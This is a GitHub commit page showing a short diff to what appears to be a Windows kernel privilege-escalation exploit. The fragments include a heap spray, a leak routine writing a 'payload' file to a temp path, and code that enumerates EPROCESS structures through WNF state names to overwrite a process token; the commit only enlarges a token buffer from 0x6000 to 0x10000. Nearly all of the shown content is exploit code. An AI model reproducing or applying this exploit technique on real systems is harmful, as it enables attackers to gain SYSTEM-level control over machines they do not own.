Skip to content

Commit

Permalink
0x10000 /shrug
Browse files Browse the repository at this point in the history
  • Loading branch information
timwr committed Jan 21, 2022
1 parent 31d57e7 commit 3e6f3a1
Showing 1 changed file with 3 additions and 3 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -402,6 +402,7 @@ int tiggerLeak()
/*dprintf("got temp filename %s", lpTempFileName);*/

hFile = CreateFileA("C:\\Users\\User\\AppData\\Local\\Temp\\payload",
/*hFile = CreateFileA("payload",*/
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
Expand Down Expand Up @@ -538,7 +539,6 @@ int HeapSpray()

}


for (int i = 1; i < SPRAY_COUNT; i+=2)
{

Expand Down Expand Up @@ -757,8 +757,8 @@ NTSTATUS EnumProcessEprocess(PWNF_STATE_NAME StateName, PUCHAR Buff)
UINT64 token = GetProcessToken(*(PULONGLONG)&(NameIns->StateName));


UCHAR tokenBuff[0x6000] = { 0 };
ULONG tokenBufferSize = 0x6000;
UCHAR tokenBuff[0x10000] = { 0 };
ULONG tokenBufferSize = 0x10000;

NameIns->StateData = (struct _WNF_STATE_DATA*)(eProcess + TOKEN_OFFSET);
state = OverStateData(StateName, Buff);
Expand Down

0 comments on commit 3e6f3a1

Please sign in to comment.